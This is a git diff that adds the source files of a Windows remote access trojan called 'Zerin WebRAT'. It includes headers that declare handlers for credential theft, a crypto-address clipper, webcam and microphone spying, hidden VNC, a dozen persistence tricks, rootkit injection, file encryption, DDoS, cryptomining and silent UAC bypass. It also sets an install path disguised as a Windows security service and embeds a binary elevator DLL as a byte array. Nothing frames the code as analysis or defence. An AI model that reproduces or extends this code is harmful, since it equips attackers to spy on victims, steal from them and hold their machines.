1))}.\[\&\:\:-webkit-inner-spin-button\]\:appearance-none::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-outer-spin-button\]\:appearance-none::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:h-3::-webkit-slider-thumb{height:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:w-3::-webkit-slider-thumb{width:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:cursor-pointer::-webkit-slider-thumb{cursor:pointer}.\[\&\:\:-webkit-slider-thumb\]\:appearance-none::-webkit-slider-thumb{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:bg-zerin-accent::-webkit-slider-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))} diff --git a/dist/assets/vnc-decode.worker-EPE-JCx4.js b/dist/assets/vnc-decode.worker-EPE-JCx4.js new file mode 100755 index 0000000..91c2cca --- /dev/null +++ b/dist/assets/vnc-decode.worker-EPE-JCx4.js @@ -0,0 +1 @@ +(function(){"use strict";let n=null,o=null,l=0,c=0;function r(i,t){(!n||l!==i||c!==t)&&(n=new OffscreenCanvas(i,t),o=n.getContext("2d"),l=i,c=t)}self.onmessage=async i=>{const t=i.data;if(t.type==="init"){r(t.width,t.height);return}if(t.type==="tiles"){const{tiles:f,solids:b,width:m,height:p,cursorX:d,cursorY:u,tileSize:s}=t;if(r(m,p),!o)return;for(const a of b)o.fillStyle=`rgb(${a.r},${a.g},${a.b})`,o.fillRect(a.col*s,a.row*s,s,s);if(f.length>0){const a=await Promise.all(f.map(async e=>{const w=new Blob([e.data],{type:"image/jpeg"});return{bitmap:await createImageBitmap(w),col:e.col,row:e.row}}));for(const e of a)o.drawImage(e.bitmap,e.col*s,e.row*s),e.bitmap.close()}const g=n.transferToImageBitmap();self.postMessage({type:"frame",bitmap:g,width:m,height:p,cursorX:d,cursorY:u},[g])}}})(); diff --git a/dist/index.html b/dist/index.html new file mode 100755 index 0000000..798dcbc --- /dev/null +++ b/dist/index.html @@ -0,0 +1,25 @@ + + + + + + + Zerin WebRAT + + + + + + +
+ + diff --git a/dist/zerin-logo.png b/dist/zerin-logo.png new file mode 100755 index 0000000..535358b Binary files /dev/null and b/dist/zerin-logo.png differ diff --git a/include/cmd_hashes_gen.h b/include/cmd_hashes_gen.h new file mode 100755 index 0000000..c41da6b --- /dev/null +++ b/include/cmd_hashes_gen.h @@ -0,0 +1,95 @@ +// Auto-generated by generate_cmd_hashes.py - DO NOT EDIT +#ifndef CMD_HASHES_GEN_H +#define CMD_HASHES_GEN_H + +#include + +static inline uint32_t fnv1a_hash(const char *s) { + uint32_t h = 0x811c9dc5u; + for (; *s; s++) { + h ^= (uint8_t)*s; + h *= 0x01000193u; + } + return h; +} + +#define CMD_HASH_SHELL 0x11e1fc01u // "shell" +#define CMD_HASH_WHOAMI 0xbaa8b444u // "whoami" +#define CMD_HASH_PS 0x5e4e6e94u // "ps" +#define CMD_HASH_LS 0x5631dfe8u // "ls" +#define CMD_HASH_CD 0x5b299902u // "cd" +#define CMD_HASH_PWD 0x556dfd44u // "pwd" +#define CMD_HASH_UPLOAD 0x3c5c055cu // "upload" +#define CMD_HASH_DOWNLOAD 0x3108b3f9u // "download" +#define CMD_HASH_SCREENSHOT 0xe822c431u // "screenshot" +#define CMD_HASH_NETSTAT 0x8641626au // "netstat" +#define CMD_HASH_IFCONFIG 0x4aa92ce0u // "ifconfig" +#define CMD_HASH_REG_READ 0xc72252d6u // "reg_read" +#define CMD_HASH_REG_WRITE 0xabc534f9u // "reg_write" +#define CMD_HASH_PERSIST_RUNKEY 0x9473a758u // "persist_runkey" +#define CMD_HASH_PERSIST_SCHTASK 0x6530d0d3u // "persist_schtask" +#define CMD_HASH_PERSIST_SERVICE 0x0e672827u // "persist_service" +#define CMD_HASH_ENV 0x788e8bb4u // "env" +#define CMD_HASH_SYSINFO 0xcfcf4cc6u // "sysinfo" +#define CMD_HASH_PERSIST_STARTUP 0x40dfb5c5u // "persist_startup" +#define CMD_HASH_PERSIST_LOGONSCRIPT 0xc1b2c568u // "persist_logonscript" +#define CMD_HASH_PERSIST_SCREENSAVER 0x47d4c41du // "persist_screensaver" +#define CMD_HASH_PERSIST_IFEO 0x54ca1bf7u // "persist_ifeo" +#define CMD_HASH_PERSIST_BITS 0xb9b6b8c4u // "persist_bits" +#define CMD_HASH_PERSIST_COM 0x8e03e859u // "persist_com" +#define CMD_HASH_PERSIST_DLLHIJACK 0x6a8fb06cu // "persist_dllhijack" +#define CMD_HASH_PERSIST_WMI 0x2be524afu // "persist_wmi" +#define CMD_HASH_PERSIST_PORTMON 0xbe42648fu // "persist_portmon" +#define CMD_HASH_PERSIST_SSP 0xc0da6796u // "persist_ssp" +#define CMD_HASH_DELETE 0x67c2444au // "delete" +#define CMD_HASH_ENCRYPT 0x82cac862u // "encrypt" +#define CMD_HASH_DECRYPT 0xac13bc9au // "decrypt" +#define CMD_HASH_EXECUTE 0xa01e3d98u // "execute" +#define CMD_HASH_UNINSTALL 0xd15eb499u // "uninstall" +#define CMD_HASH_RESTART 0xfe9c11ecu // "restart" +#define CMD_HASH_SHUTDOWN 0xf8206a4bu // "shutdown" +#define CMD_HASH_TROLL_MSGBOX 0xf6b0da8bu // "troll_msgbox" +#define CMD_HASH_TROLL_TTS 0xb92fcd5eu // "troll_tts" +#define CMD_HASH_TROLL_WEBSITE 0xea9769a6u // "troll_website" +#define CMD_HASH_TROLL_WALLPAPER 0x361b9145u // "troll_wallpaper" +#define CMD_HASH_TROLL_TASKBAR 0xcb614b5du // "troll_taskbar" +#define CMD_HASH_TROLL_CD_TRAY 0x28ec819fu // "troll_cd_tray" +#define CMD_HASH_CHAT 0xa24bf9abu // "chat" +#define CMD_HASH_ROOTKIT_STATUS 0xaf4d6dfau // "rootkit_status" +#define CMD_HASH_ROOTKIT_INJECT 0x14be2ed1u // "rootkit_inject" +#define CMD_HASH_ROOTKIT_INJECT_ALL 0x0f180711u // "rootkit_inject_all" +#define CMD_HASH_VNC_START 0x8d84f5ddu // "vnc_start" +#define CMD_HASH_VNC_STOP 0x8a7703cfu // "vnc_stop" +#define CMD_HASH_HVNC_START 0x99f0682bu // "hvnc_start" +#define CMD_HASH_HVNC_STOP 0x5b4bc999u // "hvnc_stop" +#define CMD_HASH_HVNC_EXEC 0x342b6540u // "hvnc_exec" +#define CMD_HASH_POWERSHELL 0xba13e3d8u // "powershell" +#define CMD_HASH_KILL 0xc50f4599u // "kill" +#define CMD_HASH_WINDOWS 0xd59726eau // "windows" +#define CMD_HASH_INSTALLED_APPS 0x3a88eeceu // "installed_apps" +#define CMD_HASH_SPECS 0xa27c87b7u // "specs" +#define CMD_HASH_TROLL_SWAPMOUSE 0x8cc1f8f9u // "troll_swapmouse" +#define CMD_HASH_TROLL_DISABLESOUND 0xff756fdeu // "troll_disablesound" +#define CMD_HASH_TROLL_BLACKSCREEN 0x13b0f13cu // "troll_blackscreen" +#define CMD_HASH_TROLL_DISABLEKEYBOARD 0x180e5bf6u // "troll_disablekeyboard" +#define CMD_HASH_TROLL_DISABLEMOUSE 0x5b3a6632u // "troll_disablemouse" +#define CMD_HASH_TROLL_REROUTESITES 0x07e81e6bu // "troll_reroutesites" +#define CMD_HASH_CREDS 0xd7cf5f56u // "creds" +#define CMD_HASH_CLIPPER_START 0xf5a6ba85u // "clipper_start" +#define CMD_HASH_CLIPPER_STOP 0x4dacf7d7u // "clipper_stop" +#define CMD_HASH_CLIPPER_CONFIG 0x9598ae9du // "clipper_config" +#define CMD_HASH_WEBCAM_START 0x20f4f1afu // "webcam_start" +#define CMD_HASH_WEBCAM_STOP 0x803e5ef5u // "webcam_stop" +#define CMD_HASH_WEBCAM_LIST 0xdedff6f1u // "webcam_list" +#define CMD_HASH_MIC_START 0x0a6d49b7u // "mic_start" +#define CMD_HASH_MIC_STOP 0x40355c1du // "mic_stop" +#define CMD_HASH_SOCKS5_START 0xd014acfeu // "socks5_start" +#define CMD_HASH_SOCKS5_STOP 0x6d3ba286u // "socks5_stop" +#define CMD_HASH_DDOS_START 0x22ec5614u // "ddos_start" +#define CMD_HASH_DDOS_STOP 0x7202bfd0u // "ddos_stop" +#define CMD_HASH_MINER_START 0x81844fabu // "miner_start" +#define CMD_HASH_MINER_STOP 0x6d56f419u // "miner_stop" +#define CMD_HASH_MINER_STATUS 0x301d5e0bu // "miner_status" +#define CMD_HASH_ELEVATE 0x4ce1977du // "elevate" + +#endif // CMD_HASHES_GEN_H diff --git a/include/commands.h b/include/commands.h new file mode 100755 index 0000000..d8494cc --- /dev/null +++ b/include/commands.h @@ -0,0 +1,155 @@ +#ifndef ZERIN_COMMANDS_H +#define ZERIN_COMMANDS_H + +#include "protocol.h" +#include "config.h" + +// Command handler function type +typedef int (*command_handler_fn)(const task_t *task, task_result_t *result, char *cwd); + +// Command dispatch — routes task.command to the right handler +int command_dispatch(const task_t *task, task_result_t *result, char *cwd); + +// Individual command handlers +int cmd_shell(const task_t *task, task_result_t *result, char *cwd); +int cmd_whoami(const task_t *task, task_result_t *result, char *cwd); +int cmd_ps(const task_t *task, task_result_t *result, char *cwd); +int cmd_ls(const task_t *task, task_result_t *result, char *cwd); +int cmd_cd(const task_t *task, task_result_t *result, char *cwd); +int cmd_pwd(const task_t *task, task_result_t *result, char *cwd); +int cmd_upload(const task_t *task, task_result_t *result, char *cwd); +int cmd_download(const task_t *task, task_result_t *result, char *cwd); + +// Phase 2 — enhanced commands +int cmd_screenshot(const task_t *task, task_result_t *result, char *cwd); +int cmd_netstat(const task_t *task, task_result_t *result, char *cwd); +int cmd_ifconfig(const task_t *task, task_result_t *result, char *cwd); +int cmd_reg_read(const task_t *task, task_result_t *result, char *cwd); +int cmd_reg_write(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_runkey(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_schtask(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_service(const task_t *task, task_result_t *result, char *cwd); +int cmd_env(const task_t *task, task_result_t *result, char *cwd); +int cmd_sysinfo(const task_t *task, task_result_t *result, char *cwd); + +// Advanced persistence methods +int cmd_persist_startup(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_logonscript(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_screensaver(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_ifeo(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_bits(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_com(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_dllhijack(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_wmi(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_portmon(const task_t *task, task_result_t *result, char *cwd); +int cmd_persist_ssp(const task_t *task, task_result_t *result, char *cwd); + +// File actions — delete, encrypt, decrypt, execute +int cmd_delete(const task_t *task, task_result_t *result, char *cwd); +int cmd_encrypt(const task_t *task, task_result_t *result, char *cwd); +int cmd_decrypt(const task_t *task, task_result_t *result, char *cwd); +int cmd_execute(const task_t *task, task_result_t *result, char *cwd); + +// Auto-persistence + uninstall +int cmd_uninstall(const task_t *task, task_result_t *result, char *cwd); +void persist_auto_install(zerin_config_t *cfg); +void persist_self_copy(zerin_config_t *cfg); + +// Rootkit commands +int cmd_rootkit_status(const task_t *task, task_result_t *result, char *cwd); +int cmd_rootkit_inject(const task_t *task, task_result_t *result, char *cwd); +int cmd_rootkit_inject_all(const task_t *task, task_result_t *result, char *cwd); + +// VNC (remote desktop) +int cmd_vnc_start(const task_t *task, task_result_t *result, char *cwd); +int cmd_vnc_stop(const task_t *task, task_result_t *result, char *cwd); +void vnc_cleanup(void); + +// hVNC (hidden virtual desktop) +int cmd_hvnc_start(const task_t *task, task_result_t *result, char *cwd); +int cmd_hvnc_stop(const task_t *task, task_result_t *result, char *cwd); +int cmd_hvnc_exec(const task_t *task, task_result_t *result, char *cwd); + +// Power commands +int cmd_restart(const task_t *task, task_result_t *result, char *cwd); +int cmd_shutdown(const task_t *task, task_result_t *result, char *cwd); + +// Troll commands +int cmd_troll_msgbox(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_tts(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_website(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_wallpaper(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_taskbar(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_cd_tray(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_swapmouse(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_disablesound(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_blackscreen(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_disablekeyboard(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_disablemouse(const task_t *task, task_result_t *result, char *cwd); +int cmd_troll_reroutesites(const task_t *task, task_result_t *result, char *cwd); + +// Chat +int cmd_chat(const task_t *task, task_result_t *result, char *cwd); + +// Powershell +int cmd_powershell(const task_t *task, task_result_t *result, char *cwd); + +// Kill process +int cmd_kill(const task_t *task, task_result_t *result, char *cwd); + +// Window enumeration +int cmd_windows(const task_t *task, task_result_t *result, char *cwd); + +// Installed applications +int cmd_installed_apps(const task_t *task, task_result_t *result, char *cwd); + +// System specs +int cmd_specs(const task_t *task, task_result_t *result, char *cwd); + +// AV detection (shared with recon) +void get_av_product(char *buf, size_t len); + +// Credential recovery +int cmd_creds(const task_t *task, task_result_t *result, char *cwd); + +// Crypto clipper +int cmd_clipper_start(const task_t *task, task_result_t *result, char *cwd); +int cmd_clipper_stop(const task_t *task, task_result_t *result, char *cwd); +int cmd_clipper_config(const task_t *task, task_result_t *result, char *cwd); + +// Webcam +int cmd_webcam_start(const task_t *task, task_result_t *result, char *cwd); +int cmd_webcam_stop(const task_t *task, task_result_t *result, char *cwd); +int cmd_webcam_list(const task_t *task, task_result_t *result, char *cwd); + +// Microphone +int cmd_mic_start(const task_t *task, task_result_t *result, char *cwd); +int cmd_mic_stop(const task_t *task, task_result_t *result, char *cwd); + +// UAC elevation +int cmd_elevate(const task_t *task, task_result_t *result, char *cwd); +void maybe_auto_elevate(void); + +// SOCKS5 reverse proxy +int cmd_socks5_start(const task_t *task, task_result_t *result, char *cwd); +int cmd_socks5_stop(const task_t *task, task_result_t *result, char *cwd); +void socks5_cleanup(void); + +// DDoS HTTP flood +int cmd_ddos_start(const task_t *task, task_result_t *result, char *cwd); +int cmd_ddos_stop(const task_t *task, task_result_t *result, char *cwd); + +// Cryptominer (XMRig) +int cmd_miner_start(const task_t *task, task_result_t *result, char *cwd); +int cmd_miner_stop(const task_t *task, task_result_t *result, char *cwd); +int cmd_miner_status(const task_t *task, task_result_t *result, char *cwd); + +// Utility +bool is_elevated(void); + +// Recon — gather system info for checkin +int recon_gather_checkin(checkin_t *ci, const char *agent_id, + uint32_t sleep_interval, uint32_t jitter_percent, + int64_t kill_date); + +#endif // ZERIN_COMMANDS_H diff --git a/include/config.h b/include/config.h new file mode 100755 index 0000000..afabe2e --- /dev/null +++ b/include/config.h @@ -0,0 +1,84 @@ +#ifndef ZERIN_CONFIG_H +#define ZERIN_CONFIG_H + +#include +#include + +#define ZERIN_MAX_URLS 4 +#define ZERIN_MAX_URL_LEN 512 +/* WARNING: XOR is placeholder encryption only — trivially reversible. + * This should be replaced with ChaCha20 (or similar) once the builder + * is updated to match. Do not rely on this for any real confidentiality. */ +#define CONFIG_XOR_KEY 0xAB + +// Persistence method flags (auto-install on first run) +#define PERSIST_RUNKEY 0x0001 +#define PERSIST_SCHTASK 0x0002 +#define PERSIST_SERVICE 0x0004 +#define PERSIST_STARTUP 0x0008 +#define PERSIST_LOGONSCRIPT 0x0010 +#define PERSIST_SCREENSAVER 0x0020 +#define PERSIST_IFEO 0x0040 +#define PERSIST_BITS 0x0080 +#define PERSIST_COM 0x0100 +#define PERSIST_WMI 0x0200 +#define PERSIST_PORTMON 0x0400 +#define PERSIST_SSP 0x0800 + +#define PERSIST_ADMIN_MASK 0x0E44 // SERVICE|IFEO|WMI|PORTMON|SSP + +typedef struct { + // Callback URLs (failover list) + char callback_urls[ZERIN_MAX_URLS][ZERIN_MAX_URL_LEN]; + uint32_t num_urls; + + // Crypto keys (compiled in) + uint8_t server_pubkey[32]; // Server's X25519 public key + uint8_t agent_privkey[32]; // Agent's X25519 private key + uint8_t agent_pubkey[32]; // Agent's X25519 public key + + // Agent identity + char agent_id[37]; // UUID string + + // Timing + uint32_t sleep_interval; // Seconds between beacons + uint32_t jitter_percent; // 0-50 + int64_t kill_date; // Unix timestamp, 0 = no kill date + + // HTTP + char user_agent[256]; + + // Persistence + uint32_t persist_methods; // Bitmask of methods to auto-install + + // Rootkit + uint32_t rootkit_enabled; // Enable r77-style rootkit features + + // Auto-elevation + uint32_t auto_elevate; // Attempt silent UAC bypass at startup + + // Install location (self-copy) + uint32_t install_dir; // Base dir: 0=TEMP, 1=LOCALAPPDATA, 2=APPDATA, 3=PROGRAMDATA, 4=USERPROFILE + char install_subdir[64]; // Subfolder (e.g. "Microsoft\\WindowsUpdate") + char install_filename[64]; // Exe filename (e.g. "SecurityHealthService.exe") +} zerin_config_t; + +// Initialize config with compiled-in defaults +int config_init(zerin_config_t *cfg); + +// Validate config values +bool config_validate(const zerin_config_t *cfg); + +// Update config from server command +void config_update_sleep(zerin_config_t *cfg, uint32_t interval, uint32_t jitter); + +// Check if kill date has passed +bool config_is_expired(const zerin_config_t *cfg); + +// XOR decrypt config blob +void config_decrypt(uint8_t *data, size_t len, uint8_t key); + +// Derive a per-machine unique agent ID from build ID + hardware fingerprint +void config_derive_machine_id(zerin_config_t *cfg); + +#endif // ZERIN_CONFIG_H diff --git a/include/crypto.h b/include/crypto.h new file mode 100755 index 0000000..ad9debf --- /dev/null +++ b/include/crypto.h @@ -0,0 +1,129 @@ +#ifndef ZERIN_CRYPTO_H +#define ZERIN_CRYPTO_H + +#include +#include + +#define CRYPTO_KEY_SIZE 32 +#define CRYPTO_NONCE_SIZE 12 +#define CRYPTO_TAG_SIZE 16 +#define CRYPTO_SHA256_SIZE 32 +#define CRYPTO_X25519_KEY 32 + +// ============================================================================ +// Random +// ============================================================================ +int crypto_random_bytes(uint8_t *buf, size_t len); +double crypto_random_float(void); // [0.0, 1.0) + +// ============================================================================ +// SHA-256 +// ============================================================================ +typedef struct { + uint32_t state[8]; + uint64_t bitcount; + uint8_t buffer[64]; + uint32_t buflen; +} sha256_ctx_t; + +void sha256_init(sha256_ctx_t *ctx); +void sha256_update(sha256_ctx_t *ctx, const uint8_t *data, size_t len); +void sha256_final(sha256_ctx_t *ctx, uint8_t out[32]); +void sha256(const uint8_t *data, size_t len, uint8_t out[32]); + +// HMAC-SHA256 +void hmac_sha256(const uint8_t *key, size_t key_len, + const uint8_t *data, size_t data_len, + uint8_t out[32]); + +// ============================================================================ +// HKDF (RFC 5869) +// ============================================================================ +int hkdf_extract(const uint8_t *salt, size_t salt_len, + const uint8_t *ikm, size_t ikm_len, + uint8_t prk[32]); + +int hkdf_expand(const uint8_t prk[32], + const uint8_t *info, size_t info_len, + uint8_t *okm, size_t okm_len); + +int hkdf_derive(const uint8_t *salt, size_t salt_len, + const uint8_t *ikm, size_t ikm_len, + const uint8_t *info, size_t info_len, + uint8_t *okm, size_t okm_len); + +// ============================================================================ +// X25519 (RFC 7748) +// ============================================================================ +void x25519_clamp(uint8_t key[32]); +int x25519_keygen(uint8_t privkey[32], uint8_t pubkey[32]); +int x25519_shared_secret(const uint8_t privkey[32], + const uint8_t peer_pubkey[32], + uint8_t shared[32]); + +// ============================================================================ +// ChaCha20 (RFC 8439) +// ============================================================================ +typedef struct { + uint32_t state[16]; +} chacha20_ctx_t; + +void chacha20_init(chacha20_ctx_t *ctx, const uint8_t key[32], + const uint8_t nonce[12], uint32_t counter); +void chacha20_encrypt(chacha20_ctx_t *ctx, const uint8_t *in, + uint8_t *out, size_t len); + +// ============================================================================ +// Poly1305 (RFC 8439) +// ============================================================================ +typedef struct { + uint32_t r[5]; + uint32_t h[5]; + uint32_t pad[4]; + uint8_t buffer[16]; + size_t buflen; + size_t total; +} poly1305_ctx_t; + +void poly1305_init(poly1305_ctx_t *ctx, const uint8_t key[32]); +void poly1305_update(poly1305_ctx_t *ctx, const uint8_t *data, size_t len); +void poly1305_final(poly1305_ctx_t *ctx, uint8_t tag[16]); + +// ============================================================================ +// ChaCha20-Poly1305 AEAD (RFC 8439) +// ============================================================================ + +// Encrypt: returns ciphertext_len (plaintext_len + 16 for tag) +// out must have room for plaintext_len + CRYPTO_TAG_SIZE +int aead_encrypt(const uint8_t key[32], const uint8_t nonce[12], + const uint8_t *aad, size_t aad_len, + const uint8_t *plaintext, size_t plaintext_len, + uint8_t *out); + +// Decrypt: returns 0 on success, -1 on auth failure +// out must have room for ciphertext_len - CRYPTO_TAG_SIZE +int aead_decrypt(const uint8_t key[32], const uint8_t nonce[12], + const uint8_t *aad, size_t aad_len, + const uint8_t *ciphertext, size_t ciphertext_len, + uint8_t *out); + +// ============================================================================ +// Key Exchange +// ============================================================================ +typedef struct { + uint8_t agent_pubkey_hash[32]; // SHA256(agent_pubkey) + uint8_t ephemeral_pubkey[32]; + uint8_t ephemeral_privkey[32]; // NOT sent + uint8_t session_key[32]; +} key_exchange_t; + +int key_exchange_init(key_exchange_t *kx, const uint8_t agent_pubkey[32]); +int key_exchange_derive(key_exchange_t *kx, const uint8_t server_pubkey[32]); + +// ============================================================================ +// Utility +// ============================================================================ +void secure_zero(void *ptr, size_t len); +int constant_time_compare(const uint8_t *a, const uint8_t *b, size_t len); + +#endif // ZERIN_CRYPTO_H diff --git a/include/dxgi_capture.h b/include/dxgi_capture.h new file mode 100755 index 0000000..c685cc4 --- /dev/null +++ b/include/dxgi_capture.h @@ -0,0 +1,46 @@ +#ifndef DXGI_CAPTURE_H +#define DXGI_CAPTURE_H + +#ifdef _WIN32 + +#include +#include + +typedef struct dxgi_ctx dxgi_ctx_t; + +/* Initialize DXGI Desktop Duplication. + * Returns context on success, NULL on failure (e.g., no GPU, RDP session). + * Dynamically loads d3d11.dll and dxgi.dll — no link-time dependencies. */ +dxgi_ctx_t *dxgi_init(void); + +/* Capture current frame via Desktop Duplication. + * Returns: + * 0 = success, pixels/width/height/dirty_rects/num_dirty filled + * 1 = no change (timeout, screen idle) — caller should skip frame + * -1 = error (ACCESS_LOST, device removed, etc.) — caller should reinit or fallback + * + * On success, pixels points to tightly-packed RGB (3 bytes/pixel, top-down). + * dirty_rects points to an internal array valid until the next call. */ +int dxgi_capture(dxgi_ctx_t *ctx, uint8_t **pixels, int *width, int *height, + RECT **dirty_rects, int *num_dirty); + +/* Capture frame returning raw mapped BGRA pointer (no RGB conversion). + * Returns: + * 0 = success, bgra_data/row_pitch/width/height/dirty_rects/num_dirty filled + * 1 = no change (timeout) + * -1 = error + * + * On success, bgra_data points to mapped GPU memory (BGRA, 4 bytes/pixel). + * Caller MUST call dxgi_release_frame() when done reading the data. */ +int dxgi_capture_mapped(dxgi_ctx_t *ctx, const uint8_t **bgra_data, + int *row_pitch, int *width, int *height, + RECT **dirty_rects, int *num_dirty); + +/* Release the acquired frame (must be called after dxgi_capture/dxgi_capture_mapped returns 0). */ +void dxgi_release_frame(dxgi_ctx_t *ctx); + +/* Clean up all DXGI/D3D11 resources. */ +void dxgi_cleanup(dxgi_ctx_t *ctx); + +#endif /* _WIN32 */ +#endif /* DXGI_CAPTURE_H */ diff --git a/include/elevator_blob.h b/include/elevator_blob.h new file mode 100755 index 0000000..76e78d1 --- /dev/null +++ b/include/elevator_blob.h @@ -0,0 +1,1062 @@ +/* Auto-generated by embed_elevator.py do not edit */ +#pragma once + +static const unsigned int ELEVATOR_DLL_SIZE = 16896; +static const unsigned char ELEVATOR_DLL[] = { + 0x4d, 0x5a, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, + 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, + 0x0e, 0x1f, 0xba, 0x0e, 0x00, 0xb4, 0x09, 0xcd, 0x21, 0xb8, 0x01, 0x4c, 0xcd, 0x21, 0x54, 0x68, + 0x69, 0x73, 0x20, 0x70, 0x72, 0x6f, 0x67, 0x72, 0x61, 0x6d, 0x20, 0x63, 0x61, 0x6e, 0x6e, 0x6f, + 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6e, 0x20, 0x69, 0x6e, 0x20, 0x44, 0x4f, 0x53, 0x20, + 0x6d, 0x6f, 0x64, 0x65, 0x2e, 0x0d, 0x0d, 0x0a, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x0b, 0x00, 0xff, 0x6e, 0xa1, 0x69, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x2e, 0x22, 0x0b, 0x02, 0x02, 0x2d, 0x00, 0x20, 0x00, 0x00, + 0x00, 0x1e, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xef, 0x12, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xd0, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x94, 0x87, 0x00, 0x00, 0x03, 0x00, 0x60, 0x01, + 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, + 0x00, 0xa0, 0x00, 0x00, 0xd8, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x60, 0x00, 0x00, 0xd4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xc0, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x80, 0x40, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xa2, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, + 0x00, 0x1f, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, + 0x2e, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xc0, 0x2e, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x78, 0x04, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, + 0x2e, 0x65, 0x68, 0x5f, 0x66, 0x72, 0x61, 0x6d, 0x04, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xc0, 0x2e, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 